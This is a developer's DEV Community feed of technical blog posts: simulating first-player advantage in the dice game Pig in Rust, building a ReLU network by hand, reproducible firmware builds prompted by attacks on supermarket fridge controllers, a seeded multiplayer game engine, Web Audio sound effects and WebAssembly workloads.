DEV Community: Sharang Parnerkar

What does "balanced" mean for a board game?

Sharang Parnerkar — Tue, 10 Nov 2026 20:20:33 +0000

Let's start with a dice game called Pig. Two players race to 100 points. On your turn you roll a die as often as you like and add up the faces. If you roll a 1, you lose everything you rolled this turn and the turn passes. If you stop first (you "hold"), the points are banked and safe. The first player to bank 100 wins.

Here's a question a game designer would ask about it: does going first help? And if it does, by how much is too much?

People call a game "balanced" or "unbalanced", but that word doesn't tell you what to measure. Here we'll turn it into something we can measure, measure it with a short Rust program, and then find out how much the answer depends on who is playing. That last part is the surprise, and it shapes everything else in this series.

I'm building a harness called gameforge that does this for my own board games (L.U.C.A., Samudra Manthana and Kölnisch Wasser) at a larger scale. Pig is small enough that we can do the whole thing by hand first.

Turning "balanced" into a target

"Is going first fair?" has no yes-or-no answer until we say what fair means. Let's write it down as a number we're aiming for, plus how far off we'll accept:

The first player wins 50% of games, give or take 2 points.

That's a target (50%) and a tolerance (2 points). Why a tolerance at all? Because no game is exactly even, and a designer has to decide how much edge is too little to matter. The 2 points is my choice for this example; a tournament game might want 1, a party game might accept 5. gameforge calls such a written-down target a declared intent, and every balance claim it makes is about intents like this one.

Now we need a win rate to compare against it. Where does that come from?

Who plays the 10,000 games?

A win rate means many games. People can't play ten thousand games of Pig, so we'll let the computer play both sides, following a fixed rule. I'll call such a rule a simulated player.

A sensible rule for Pig is "hold at 20": keep rolling until this turn's points reach 20, then hold (and hold early if that wins the game). Why 20? Say you have t points this turn and roll once more. Five times in six you gain a face from 2 to 6, on average 4; once in six you lose the t. So one more roll is worth (5 * 4 - t) / 6 = (20 - t) / 6 points on average, positive below 20 and negative above. "Hold at 20" stops exactly when another roll stops paying, on average.

That's a reasonable player. Keep the word "reasonable" in mind, because we'll come back to it.

The rules, as a program

The program has two parts. The first is the game: a small random number generator, and play, which runs one game where both players hold at the same limit and returns who won. Look for two things: the while loop is one turn, and a roll of 1 empties turn before it's banked.

/// A small random number generator that repeats exactly from its seed (SplitMix64).
struct Rng(u64);

impl Rng {
    fn die(&mut self) -> u64 {
        self.0 = self.0.wrapping_add(0x9E37_79B9_7F4A_7C15);
        let mut z = self.0;
        z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9);
        z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB);
        1 + (z ^ (z >> 31)) % 6
    }
}

/// One game where both players "hold at `limit`": keep rolling until this
/// turn's points reach `limit`, or holding would win. Returns the winner (0 or 1).
fn play(limit: u64, rng: &mut Rng) -> usize {
    let mut scores = [0, 0];
    let mut current = 0;
    loop {
        let mut turn = 0;
        while turn < limit && scores[current] + turn < 100 {
            match rng.die() {
                1 => { turn = 0; break; }
                face => turn += face,
            }
        }
        scores[current] += turn;
        if scores[current] >= 100 {
            return current;
        }
        current = 1 - current;
    }
}

Player 0 always moves first, so "player 0 won" is our event. The generator takes a seed, and the same seed gives the same dice every time. That will matter in a moment.

The second part plays many games and prints how often the first player won:

/// Plays `games` games from `seed` and prints the first player's win rate.
fn measure(limit: u64, games: u64, seed: u64) {
    let mut rng = Rng(seed);
    let wins = (0..games).filter(|_| play(limit, &mut rng) == 0).count();
    let p = wins as f64 / games as f64;
    let margin = 1.96 * (p * (1.0 - p) / games as f64).sqrt();
    println!("hold at {limit}, seed {seed}: first player wins {:.1}% ({:.1} to {:.1})",
        100.0 * p, 100.0 * (p - margin), 100.0 * (p + margin));
}

fn main() {
    measure(20, 10_000, 1);
    measure(20, 10_000, 2);
    measure(60, 10_000, 1);
}

Those two blocks together are the whole src/main.rs, with no dependencies. The margin line computes a range around the measured rate, which I'll explain with the output in front of us.

What does the first player get?

I ran it in a new project (cargo new pig, edition 2024) with cargo run --release on Rust 1.97, x86-64 Linux. The first line it prints:

hold at 20, seed 1: first player wins 53.2% (52.2 to 54.2)

So with two "hold at 20" players, the first player wins 53.2% of 10,000 games. What are the two numbers in brackets? Any 10,000 games are a sample; another 10,000 with different dice would give a slightly different rate. The bracket is a 95% interval: roughly, the range in which the true rate for this game and these players is likely to lie, given how many games we played. (Post 4 of this series is about exactly that, and about how many games are enough.)

We can check the "different dice" part directly. The second line uses seed 2, a fresh set of 10,000 games:

hold at 20, seed 2: first player wins 53.4% (52.4 to 54.4)

Close to the first, inside its interval, and nowhere near 50. Now compare with our intent, 50% give or take 2. Even the low end of the interval, 52.2%, is above 52. For these players, the first player's edge is too big: the intent is not met.

Is Pig unbalanced, then? Before you answer, look at the third line.

Same game, different players

The third line changes only the players. Both now hold at 60, pushing their luck three times as far:

hold at 60, seed 1: first player wins 50.8% (49.8 to 51.8)

The rules and the number of games are unchanged, and now the intent is met: the whole interval sits inside 48 to 52. Nothing about Pig changed. Only the players did.

That's not a quirk of two hand-picked numbers. The figure runs measure for holding limits from 5 to 60, 10,000 games each:

The points wobble by about a point from one limit to the next, which is the noise the intervals describe, but the trend is clear: the more the players push their luck, the smaller the first player's edge. So "is Pig balanced?" has no answer until we also say who is playing. A balance verdict is about a game and its players together.

Remember "reasonable"? "Hold at 20" is a good rule, and real people don't play exactly like it either. A simulation can't tell us how humans will play, or whether a 53% edge feels unfair at the table. Those questions belong to playtesting.

What a balance claim can promise

Here's what we can honestly say, and it's the shape every result in this series will take:

Balanced against declared intents, for simulated players of stated strength, with a reproducible log.

Each part maps onto something we did above:

Declared intents. "First player wins 50%, give or take 2 points." Without it, "balanced" has nothing to be measured against.
Simulated players of stated strength. Both seats hold at 20. Change that and the verdict changed with it.
A reproducible log. Seed 1, 10,000 games, and the program above. Anyone who runs it gets 53.2% again, to the decimal, because the seed fixes every die.

What it never says is "Pig is balanced", full stop. gameforge's own run of Pig, with its own random numbers and 9,604 games, gives the first player 53.1% (52.1 to 54.1) for two "hold at 20" players: the same verdict, from a much bigger program.

That bigger program has to handle games far longer than Pig, with many more rules. To make every game replayable from its seed the way ours was, the rules need a particular shape. In the next post, we'll write Pig again in that shape: a game as four functions.

The program in this post is complete as shown: paste both blocks into src/main.rs of a new Cargo project.

A neural network for a > 4, written by hand

Sharang Parnerkar — Tue, 03 Nov 2026 19:59:41 +0000

Let's start with a small program, where a is a whole number from 0 through 100:

let result = if a > 4 { 10 } else { 12 };

We're going to build a neural network that gives the same result for those 101 inputs. Neural networks are usually trained, which means their numbers are learned from examples. We won't train anything. We'll construct the numbers directly from the program.

The construction comes from Cheng Lou's handwired, a JavaScript project that turns ordinary code into neural-network operations, and this same comparison is the first example in its README. I ported handwired to Rust as handwired-rs, which this series uses.

Why would anyone want this? Not for speed: three arithmetic steps in place of one if is not a better way to write an if, and this post only demonstrates the mechanism. What it gives us is a program that is a fixed list of arithmetic steps, the same for every input, and such a list can be reasoned about and checked on every input we declare. By the end, we'll have done both for all 101.

Two building blocks: weighted sums and ReLU

The first building block is a weighted sum: multiply the input by a constant and add a constant offset. 5 - a is one, with a multiplied by -1 and an offset of 5.

The second is ReLU, short for rectified linear unit: relu(x) = max(0, x). It keeps a positive number and turns a negative one into 0.

Why would we need the second one at all? Because weighted sums alone can't make a decision. A weighted sum of a weighted sum is again a weighted sum: c * (d * a + e) + f is (c * d) * a + (c * e + f), a constant times a plus an offset. So any number of them in a row is a single straight line in a, and no straight line is 12 for every a up to 4 and 10 for every a from 5 on.

How do we turn `a > 4` into 0 or 1?

Our first goal is a number, let's call it flag, that is 1 when a > 4 and 0 otherwise. handwired-rs builds it as two ReLUs in a chain:

inner = relu(5 - a)
flag  = relu(1 - inner)

Does that really behave like a > 4? Let's try the two numbers right at the threshold. For a = 4, inner = relu(1) = 1, and then flag = relu(0) = 0. For a = 5, inner = relu(0) = 0, and then flag = relu(1) = 1. So far so good.

What about the other 99 whole numbers? We don't have to try them one by one. From 0 to 4, a is at most 4, so 5 - a is at least 1, which makes inner at least 1 and 1 - inner 0 or negative, and ReLU turns that into a flag of 0. From 5 to 100, 5 - a is 0 or negative, so inner is 0 and flag = relu(1) = 1. That's an algebraic argument: it covers every whole number in the range without trying any of them.

Turning the flag into 10 or 12

Now we have a number where the program had a decision, so the choice can become arithmetic:

result = 12 - 2 * flag

For flag = 0 this is 12, and for flag = 1 it is 10, the two values of the original if. The flag selects the output by multiplication instead of by a jump.

Naming the parts: weights, biases and layers

Each of our three steps is a weighted sum, and the first two are followed by a ReLU. In neural-network terms, the multipliers (-1, -1 and -2) are weights, the offsets (5, 1 and 12) are biases, and each step is a layer. So we've built a network of three layers with one step in each, and it runs the same three operations in the same order for every input. handwired calls such a fixed list of operations a circuit, and that's the name you'll see in the code below.

In the figure, the chain is on the right, and flag for a from 0 to 10 is on the left: dots for the whole numbers, a dashed line for what happens in between.

That dashed slope between 4 and 5 should make you a little suspicious. What is it doing there?

What happens between whole numbers?

Everything we argued so far relied on a being a whole number. So let's break that on purpose and feed in a = 4.5. Before reading on, what do you expect: 10, 12, or something else?

Here is the walk through the chain: inner = relu(0.5) = 0.5, flag = relu(0.5) = 0.5, and result = 12 - 1 = 11. Neither branch. Inputs strictly between 4 and 5 produce a blend of 10 and 12, and that's the dashed slope in the figure.

So the network's correctness is guaranteed for the declared inputs, the whole numbers from 0 to 100. How do we tell the code what those inputs are?

Declaring the inputs in Rust, and testing them

Two facts describe our inputs. a lies between 0 and 100, which handwired-rs calls its range. The allowed values are spaced one apart, which it calls its grid. The comparison needs the grid: it works because no allowed input falls strictly between 4 and 5.

In the program below, look for assume_range and assume_grid, which declare those two facts, and emit_compare, which writes the two ReLUs for us. TensorExecutor runs the compiled circuit, and the loop counts the inputs where it differs from the if. Before you run it, what should it print? If our algebra is right, zero wrong, and 11 for 4.5.

use handwired_rs::{Circuit, Relation, TensorExecutor, emit_compare};

fn main() {
    let mut circuit = Circuit::new(1);
    let a = circuit.source(0);
    circuit.assume_range(a, 0.0, 100.0); // a is between 0 and 100
    circuit.assume_grid(a, 1.0); // in steps of 1
    let four = circuit.constant(4.0);
    let flag = emit_compare(&mut circuit, a, Relation::Greater, four);
    let result = circuit.affine(flag * -2.0 + 12.0);
    let program = circuit.compile(Some(&[result]));

    let mut executor = TensorExecutor::new(&program);
    let mut wrong = 0;
    for a in 0..=100 {
        let expected = if a > 4 { 10.0 } else { 12.0 };
        if executor.run(&[a as f32])[0] != expected {
            wrong += 1;
        }
    }
    println!("{} operations, {wrong} of 101 inputs wrong", program.live_operation_count());
    println!("a = 4.5 gives {}", executor.run(&[4.5])[0]);
}

I ran it in a new binary crate after cargo add handwired-rs@0.8.0, with Rust 1.97 on x86-64 Linux, and it prints:

3 operations, 0 of 101 inputs wrong
a = 4.5 gives 11

Both expectations hold. The three operations are our three steps: for a "greater than" comparison on a grid of 1, emit_compare builds relu(1 - relu(5 - a)), which I checked in its source at v0.8.0. "0 of 101 wrong" is a test result, and it checks this implementation on exactly the declared inputs. The last line shows that the executor doesn't refuse 4.5. It computes the blend, just as we did by hand.

There is one thing we quietly assumed all along, though. Our algebra used exact arithmetic. Does the computer's arithmetic agree?

Why does the floating-point arithmetic agree?

The program runs on f32, 32-bit floating-point numbers, which round some results. So why wasn't anything rounded here? Two facts. Floating-point addition and multiplication round only when the exact answer can't be stored. And an f32 can store every whole number up to a limit far above 100. Every value here, from the input through each intermediate product and sum (such as the -1 * a inside 5 - a) to the result, is a whole number between -100 and 100. So every exact answer can be stored, and nothing is rounded. That's the numerical argument, and the test agrees with it.

Let's take stock. A one-line if became a circuit of three numerical operations, with weights written down from the program, an argument that covers every declared input, and a test that ran all of them. I ported handwired to Rust because I wanted to write the logic as ordinary Rust functions and have a compiler turn them into circuits like this one, so the original function could stay around as the test. Later posts get to that compiler.

Aside: handwired's README writes the flag as relu(a - 4) - relu(a - 5), two ramps subtracted, which gives the same 0 or 1 on whole numbers. We used the chained form because handwired-rs builds it.

Our numbers here never went past 100. What happens when they grow? In the next post we'll find out where that limit on whole numbers is, and what happens to the arithmetic beyond it.

Code: github.com/mighty840/handwired-rs

Supermarket fridges at 50 degrees: could you still build the firmware patch?

Sharang Parnerkar — Tue, 03 Nov 2026 16:46:11 +0000

Attackers switched supermarket refrigeration controllers across Europe into defrost mode. Fixes for known flaws had been out since 2025. What that means for firmware teams, and how to keep every release rebuildable.

In the night from 1 to 2 November, fridges and freezers in supermarkets across Europe started warming up. Stores in Belgium, Luxembourg, the Netherlands, Sweden, Finland, Estonia, Ireland and Italy reported warming cabinets or spoiled food. A store in Sweden reported cabinet temperatures of up to 50 °C. A refrigeration service company in Belgium said the systems had been switched remotely into defrost mode.

It was the second wave in a month. On 12 October, hundreds of supermarkets in France had been hit the same way. The EU Commission has since set up a task force with ENISA and Europol.

If you write firmware for connected equipment, this one is worth reading closely. Not because of how the attackers got in, which is still being investigated, but because of what the reporting says about updates.

What is known, and what is not

Remote controllers. CERT-FR reported numerous compromises of remote controllers for refrigeration installations and listed Copeland xweb, Danfoss AK-SC, Danfoss AK-SM and Dixell xweb. Its first advice: take them off the public internet.
Known flaws, fixed in 2025. For one of those controller families, the AK-SM 8xxA series, CISA advisory ICSA-25-140-03 describes an authentication bypass based on passwords generated from the date and time (CVE-2025-41450), fixed in R4.2, and two further flaws fixed in 4.3.1. Claroty Team82 described the "code of the day" mechanism and counted 2,765 of these systems reachable from the internet.
Old firmware. Danfoss said, as reported by The Register, that the affected French stores "were running outdated firmware". A security adviser quoted by CNBC said that thousands of units never received the update and that the oldest models cannot be updated at all.
Not confirmed. Nobody has claimed the attacks. Authorities have not named the entry point or confirmed that the known flaws were used.

CERT-FR's alert includes a warning every firmware team should have on the wall: an end-of-life device without security patches that stays exposed to the internet carries a very high risk of compromise.

Two reasons a fix never reaches a device

The first is on the operator side. The controller sits on a public IP so a contractor can reach it, nobody in the store owns its updates, and the patch that exists is never installed. That is what CERT-FR's advice addresses, and it is not what this post is about.

The second is on the manufacturer side, and it is the part firmware teams control. A controller sold eight years ago only gets a security update if someone can still build its firmware: with the toolchain it was built with, the SDK it was built against and the build script that lived on one engineer's laptop. Then you want to show that the new image differs from the one in the field only by the fix.

Can you rebuild the firmware you shipped years ago and get the same bytes? Not "something that boots". The same file, with the same hash as the image on the devices in the field. For most embedded teams the honest answer is "probably not". That is rarely carelessness. An embedded build depends on far more than the source tree, and almost none of it is written down.

What the CRA asks for, in plain terms

The main obligations of the EU Cyber Resilience Act apply from 11 December 2027. For products with digital elements, it expects manufacturers to handle vulnerabilities and provide security updates over a support period that typically runs for years, and to document the software that goes into each product.

The regulation does not use the word "reproducible". But if you have to patch a version that is five years old, you need to be able to build it again, and you want to know that the only difference in the new image is your patch. That is a reproducibility problem.

Whether and how the CRA applies to a specific product is for the manufacturer to decide. This post is about the engineering side.

Why the same source gives different binaries

A typical bare-metal Makefile calls arm-none-eabi-gcc and trusts whatever is on PATH. Three things leak into the output:

Toolchain drift. One engineer has GCC 15.2 from the distro, CI has 13.x from a container image, another engineer uses the vendor's bundled toolchain. Different code generation, different binaries, same commit.
Timestamps. __DATE__ and __TIME__, archive member times, random build IDs. Every build looks new.
Paths. Debug info (-g3), __FILE__ and some linker outputs carry absolute paths. Build in /home/anna/fw and in /builds/ci/fw and you get two images.

None of this matters on the day you ship. It matters on the day you have to ship a fix for an old version.

Three ways a rebuild fails

The toolchain is gone. The compiler version the image was built with is not installed anywhere anymore, nobody wrote it down, and the vendor download page has moved twice.
The build is not deterministic. You have the toolchain and the source, but timestamps and paths change the output, so you cannot show that the rebuild matches what shipped.
The build knowledge is gone. The Makefile lived on a laptop, the SDK headers sat in a directory nobody committed, and what is left is a folder of .c and .h files.

Each needs a different fix.

Sealing a toolchain: detect, seal, build, verify

The well-known answer to the first two is Nix: pin every input by content hash, build in a sandbox, set SOURCE_DATE_EPOCH, use a fixed build prefix. It works very well. It also means writing Nix expressions, which most firmware teams have no reason to learn.

So we put Nix underneath and kept it out of sight. The flow has four steps:

Here it is on a public project, step 1 of cpq/bare-metal-programming-guide at commit 594fe3c: an STM32 Cortex-M4 blinky with main.c, link.ld and a Makefile that calls arm-none-eabi-gcc. Nothing in the repo was changed.

Detect reads the build system, not the source, because that is where the signal is:

$ firmwerk detect .
Selected: make (medium confidence)

Build plan
  build system : make
  toolchain    : arm-none-eabi-gcc
  target arch  : cortex-m4
  build        : make

Seal and build copies the sources into a sandbox, supplies a toolchain pinned by nixpkgs commit and content hash, runs the project's own make, and writes firmwerk.lock:

$ firmwerk lock --backend nix .
Sealed make (make build) with the `nix` backend
  toolchain : gcc-arm-embedded [79bf431783c2]
  artifact  : firmware sha256:sha256-y37o+

schema = 1
provider = "make"
build_system = "make"
build_commands = ["make"]

[toolchain]
id = "gcc-arm-embedded"
source = "b134951a4c9f3c995fd7be05f3243f8ecd65d798"   # nixpkgs commit
nixpkgs_hash = "sha256-OnSAY7XDSx7CtDoqNh8jwVwh4xNL/2HaJxGjryLWzX8="
hash = "79bf431783c2667c326344d3e13a347bc354cbde29a0490cf1178016501e3282"

[[artifacts]]
name = "firmware"
sha256 = "sha256-y37o+KexPFWmv/mTn2XE7YaSU/fpXq122hTSTBP/Jck="

(Excerpt of the lock file.)

The lock is the file you commit next to the firmware. It records the exact toolchain, the build commands and the expected hash of every artifact.

Verify builds again and compares:

$ firmwerk verify --backend nix .
Reproducible: all 1 artifact(s) rebuilt byte-identical.

firmware  [sha256-y37o+KexP]  (make build)
|- toolchain  gcc-arm-embedded [pinned b134951a4c9f3c995fd7be05f3243f8ecd65d798]

That worked despite -g3 debug info, because the sandbox uses a fixed build prefix and SOURCE_DATE_EPOCH. With the toolchain cached, the lock took about 13 seconds and the verify under two. If a build leaks a timestamp or a path into the image, verify fails and names the artifact, which is exactly what you want to know.

The test we like most: step 2 of the same guide. Built natively on a laptop with Fedora's GCC 15.2.0, firmware.bin hashes to 39c2f7c815d0…; sealed, it is sha256-FUE/MaOsdUw9…. Then we put a deliberately broken arm-none-eabi-gcc first on PATH:

$ printf '#!/bin/sh\necho "shim arm-none-eabi-gcc: refusing to run" >&2\nexit 1\n' > shim/arm-none-eabi-gcc

$ PATH="shim:$PATH" make
shim arm-none-eabi-gcc: refusing to run
make: *** [Makefile:17: firmware.elf] Error 1

$ PATH="shim:$PATH" firmwerk verify --backend nix .
Reproducible: all 1 artifact(s) rebuilt byte-identical.

The native build breaks. The sealed build does not notice, because it never touches the host toolchain. Two machines with different compilers produce different images natively and the same image this way. That is the property you want eight years later, when the laptop is gone and the patch is due.

Wrapping instead of replacing

Firmwerk does not translate your build into something else. It handles Make, CMake, Zephyr's west, ESP-IDF, PlatformIO, Arduino and Rust firmware (embassy, RTIC, bare metal), and runs your existing build inside the sealed environment. For Make it follows include directives and CROSS_COMPILE prefixes. When a project's Makefile reaches into ../../libs, it seals the whole repository and builds in the subdirectory.

Developers keep building the way they do. CI runs verify on top. Nobody has to agree on a new build system before the builds become reproducible.

Recovering a lost build from bare .c/.h files

The third failure is the hard one, and it is the usual state of firmware for a model that left the catalogue years ago. Here the approach is closer to archaeology:

Run clang -fsyntax-only in a loop. Each missing header is stubbed and the pass runs again, so you walk the real include graph, #if branches included.
Map well-known headers to libraries: stm32f4xx.h and core_cm4.h to STM32 HAL/CMSIS, FreeRTOS.h to FreeRTOS, lwip/*, mbedtls/*.
Take the architecture from CMSIS core headers or the vendor part family.
Collect macros that are used in #if but never defined (-Wundef) as candidate -D flags. The holes in the source show you the old command line.

We tried it on step 5 of the same guide, keeping only main.c, hal.h and syscalls.c. hal.h includes stm32f429xx.h, which is not there:

$ firmwerk detect .
Selected: source-archaeology (low confidence)

Evidence
  - 3 source/header files, no build system <- repo scan
  - include closure via clang (3 passes) <- clang -fsyntax-only
  - library = STM32 HAL/CMSIS      <- include closure

Gaps
  ! MCU/architecture not identified from source; confirm target
  ! build not synthesized (architecture unknown); confirm the target to enable compilation
  ! libraries identified; set FIRMWERK_CACHE and run `firmwerk fetch` to pin: STM32 HAL/CMSIS
  ! library versions not recoverable from source; reproducibility applies from now on

It does not guess the MCU, because the header that would tell it is the missing one. It names the library instead and asks you to confirm the target. firmwerk fetch pulls a pinned SDK into a local cache, the closure runs again, and the next layer shows up. For FreeRTOS that is the project's own FreeRTOSConfig.h and portmacro.h. Once the target is confirmed, Firmwerk synthesises the compile, and with startup code and a known MCU it generates a linker script and links a full ELF.

Note the last gap. Reconstruction gets you a reproducible build from today. It cannot tell you which SDK version was used in 2019.

What to take from the fridge attacks

A reproducible build does not stop anyone from logging into a controller. It decides whether you can still ship the fix when they do. Four things are worth checking on the next connected product, before it leaves the building:

No service logins derived from something an attacker can compute. A password generated from the date is a password everyone has.
Management interfaces are not meant for the public internet. Make the safe setup the default one, and say so in the installation guide.
An update path that still works on the oldest hardware you support. Whether a device can still be updated at all is decided years earlier, at design time.
Every release rebuildable. Seal the toolchain at release time and keep the lock next to the image. "Reproducible from now on" and "identical to the image we shipped in 2019" are different claims. The first one becomes routine. The second needs the original toolchain version, which is exactly the information that tends to get lost. So the best time to seal a build is the release you are about to ship.

We built this as Firmwerk, part of the BreakPilot platform. Docs: Firmwerk Docs

If you build connected controllers and want to find out whether your oldest supported release still builds, write to kontakt@breakpilot.com. We are also at SPS in Nuremberg from 24 to 26 November, hall 6, stand 6-253.3.

Have you had to rebuild an old firmware release, or patch a device that was never meant to be patched? We would like to hear how it went in the comments.

A pure, seeded game engine gives you multiplayer almost for free

Sharang Parnerkar — Fri, 11 Sep 2026 16:57:04 +0000

I built a board game as a browser app (Samudra Manthana), and adding online multiplayer turned out to be almost anticlimactic - not because netcode is easy, but because one early design constraint did most of the work.

The constraint: the engine is a pure, deterministic, serialisable function.

export function applyAction(state: GameState, action: Action): GameState {
  const s: GameState = structuredClone(state); // never mutate the input
  // ... validate + apply, entirely from s and action ...
  return s;
}

No Date.now(), no Math.random(), no I/O, no reaching outside. Same input, same output, forever. Every bit of randomness comes from a seeded PRNG whose state lives inside GameState.

The RNG is a single uint32

It is mulberry32 - a whole PRNG in one 32-bit integer of state, seeded from a string hash:

// string seed -> uint32 starting state
function hashSeed(seed: string): number {
  let h = 1779033703 ^ seed.length;
  for (let i = 0; i < seed.length; i++) {
    h = Math.imul(h ^ seed.charCodeAt(i), 3432918353);
    h = (h << 13) | (h >>> 19);
  }
  return (h ^ (h >>> 16)) >>> 0;
}

class Rng {
  state: number;
  next(): number {
    let t = (this.state = (this.state + 0x6d2b79f5) | 0);
    t = Math.imul(t ^ (t >>> 15), t | 1);
    t ^= t + Math.imul(t ^ (t >>> 7), t | 61);
    return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
  }
  int(maxExclusive: number) { return Math.floor(this.next() * maxExclusive); }
}

Because the RNG state serialises with everything else, a game is fully described by its seed plus the list of actions taken. That single property buys you a lot.

Multiplayer falls out of it

The server does not reimplement any rules. It holds the authoritative GameState and runs the exact same applyAction. Clients send actions; the server validates and applies through a thin adapter, then broadcasts the new state:

interface GameAdapter {
  currentSeat(state): string | null;
  isTerminal(state): boolean;
  winner(state): string | null;
  // Validate + apply an action from a seat; return the new state, or null if illegal.
  apply(state, seat, action): unknown | null;
  botAction(state, seat, persona): unknown | null;
}

No client-side prediction to reconcile, no desync class of bugs, and replays are free (seed + actions). The adapter is even game-agnostic, so one server process serves two different games.

The one bug worth warning you about

The interesting failure was in action canonicalisation. Clients often omit optional fields ("spawn a unit" without saying where, defaulting to home). The server matches an incoming action against the legal set with a key() function - and if key() does not resolve the same defaults the engine does, a perfectly legal move gets rejected as illegal. Non-mercenary clans could not spawn online until the key resolved at ?? homeHex exactly the way the engine did.

Lesson: the client and server must canonicalise actions identically. The determinism gives you correctness for free everywhere except the boundary where an under-specified action becomes a concrete one. Pin that down and the rest really is almost free.

Play it in the browser (hotseat, vs bots, or online): https://mighty840.itch.io/samudra-manthan

Every sound in my browser game is a few lines of Web Audio (no files)

Sharang Parnerkar — Tue, 08 Sep 2026 17:08:12 +0000

I have been building a browser board game (Samudra Manthana, an asymmetric strategy game), and when it came time to add sound, the usual route was to go shopping: find effects, check each licence, download a pile of .wav files, and watch the bundle get heavier.

I did not do that. Every sound effect in the game is synthesised at runtime with the Web Audio API. No files, no licences, almost no bytes. Here is the whole approach.

Two primitives

It turns out you can build a surprisingly expressive palette from just two functions.

A tone: one note with a soft attack and an exponential decay.

function tone(freq, dur, type = 'sine', gain = 0.18, delay = 0) {
  const t = ctx.currentTime + delay;
  const osc = ctx.createOscillator();
  const g = ctx.createGain();
  osc.type = type;                                    // sine | triangle | square | sawtooth
  osc.frequency.setValueAtTime(freq, t);
  g.gain.setValueAtTime(0.0001, t);
  g.gain.linearRampToValueAtTime(gain, t + 0.012);    // soft attack
  g.gain.exponentialRampToValueAtTime(0.0001, t + dur); // decay
  osc.connect(g).connect(master);
  osc.start(t);
  osc.stop(t + dur + 0.03);
}

And a thud: a short burst of filtered noise, for impacts.

function thud(dur, gain, lowpass) {
  const buf = ctx.createBuffer(1, ctx.sampleRate * dur, ctx.sampleRate);
  const data = buf.getChannelData(0);
  for (let i = 0; i < data.length; i++)
    data[i] = (Math.random() * 2 - 1) * (1 - i / data.length); // white noise, fading out
  const src = ctx.createBufferSource(); src.buffer = buf;
  const filt = ctx.createBiquadFilter(); filt.type = 'lowpass'; filt.frequency.value = lowpass;
  const g = ctx.createGain();
  g.gain.setValueAtTime(gain, ctx.currentTime);
  g.gain.exponentialRampToValueAtTime(0.0001, ctx.currentTime + dur);
  src.connect(filt).connect(g).connect(master);
  src.start();
}

That is the entire kit. Layer a couple of tones, add a thud, pick the pitch and length, and you have a sound.

A voice per event

The game narrates itself through a log ("chronicle"), so the sound layer just maps each kind of event to a little synthesised voice, tuned to be quiet rather than arcade-loud:

const SFX = {
  move:     () => tone(520, 0.06, 'triangle', 0.09),
  combat:   () => { thud(0.14, 0.16, 900); tone(120, 0.14, 'sawtooth', 0.09); },
  tribute:  () => { tone(784, 0.10); tone(1047, 0.14, 'sine', 0.09, 0.05); },
  glory:    () => { tone(659, 0.12, 'sine', 0.14); tone(880, 0.14, 'sine', 0.12, 0.08);
                    tone(1175, 0.18, 'sine', 0.1, 0.16); },   // a rising chime
  churning: () => { tone(90, 0.5, 'sawtooth', 0.1); tone(180, 0.5, 'sine', 0.06, 0.03); }, // deep rumble
};

// win flourish: a C-E-G-C major arpeggio
const playWin = () => [523, 659, 784, 1047].forEach((f, i) => tone(f, 0.35, 'sine', 0.16, i * 0.12));

Because it is driven off the log, I get sound for free in every mode. A tiny effect watches the log and plays one cue per new entry - hotseat or online, no extra wiring:

useEffect(() => {
  for (let i = seen.current; i < game.log.length; i++) playSfx(game.log[i].kind);
  seen.current = game.log.length;
}, [game.log]);

The HUD makes sounds too, deliberately different from the game (lighter and drier): a committing action gets a firm two-note cue, a small toggle gets a quiet tick. Your fingers learn the difference.

The one real recording, and the autoplay gotcha

There is exactly one audio file in the whole thing: the background music (dropped low, looped, and started from a random point each load so no two sessions open on the same bar). Everything is gated behind the first user gesture, because browsers will not let you make noise until the user has interacted:

window.addEventListener('pointerdown', unlockAudio, { once: true });

Why bother

The entire sound design adds almost nothing to the download, carries zero licensing strings, and is trivial to tweak - a sound is just numbers, so making the churn deeper or a move softer is a one-line change.

If you want to hear it, the game is playable in the browser: https://mighty840.itch.io/samudra-manthan. Turn sound on and have a churn.

WebAssembly as a first-class workload - next to your containers

Sharang Parnerkar — Sat, 05 Sep 2026 15:51:53 +0000

This is part of a series on building Orca, a single-binary orchestrator for the gap between Coolify and Kubernetes.

Most orchestrators run containers. Orca runs containers and WebAssembly modules, as equal citizens. That's not a checkbox feature - it's a bet about where a lot of small workloads are heading, and it shaped the internals.

The same machine, two runtimes

Here's a Wasm service in the same config file as your containers:

[[service]]
name = "edge-fn"
runtime = "wasm"
module = "./modules/api.wasm"     # local path or OCI reference
triggers = ["http:/api/edge/*"]   # route these requests to the module
replicas = "auto"

[service.env]
API_KEY = "${secrets.edge_key}"

The only thing marking it as different from a container is runtime = "wasm" and a module instead of an image. Everything else - placement, secrets, env, domains, the reconciler that keeps it running - is identical.

That's deliberate. Internally, Orca has a single Runtime trait. There's a ContainerRuntime backed by Docker and a WasmRuntime backed by wasmtime, and the reconciler dispatches to whichever one a service declares. The scheduler doesn't know or care which it's placing. Adding Wasm as a first-class workload wasn't a special case bolted onto the container path; it was implementing one more Runtime.

If you've ever tried to graft a second execution model onto a system that assumed one, you know how much that abstraction is worth. The trait was the whole game.

Why bother, when containers exist

Containers are great. But a container is a heavy way to run a 200-line function that fires on an HTTP path. You're carrying a whole userland, a cold start measured in seconds, and a memory floor that makes "run a hundred tiny endpoints" expensive.

Wasm inverts those costs. A module is a few hundred kilobytes. It starts in milliseconds. The sandbox is the execution model, not a kernel feature you're trusting. For the class of workload that's really "a function behind a URL" - webhooks, edge transforms, glue endpoints, per-tenant customization - Wasm is structurally cheaper than a container, and it's not close.

Orca routes HTTP triggers straight to a module invocation. A request to /api/edge/* doesn't hit a long-lived container; it invokes the Wasm module. That's the seed of something I think matters for the kind of person this whole series is for: the self-hoster, the small team, the person running real things on modest hardware.

Where this goes: scale-to-zero

Here's the direction, stated honestly as direction and not as a shipped feature.

A container that serves an endpoint used twice a day still sits there, resident, costing you memory 24/7. A Wasm module that starts in milliseconds doesn't have to. It can genuinely scale to zero - nothing resident until a request arrives, spun up to serve it, gone again after. For a box hosting a long tail of rarely-hit endpoints, that's the difference between "I can afford to run all of these" and "I have to pick which ones survive."

That's the payoff I'm building toward: a small cluster where your handful of always-on containers coexist with an arbitrary number of scale-to-zero Wasm functions, all in the same service.toml, all reconciled by the same loop, all behind the same proxy and TLS. The container-only PaaS can't offer the second half of that. The abstraction that made Wasm a first-class runtime is what makes it reachable.

The through-line

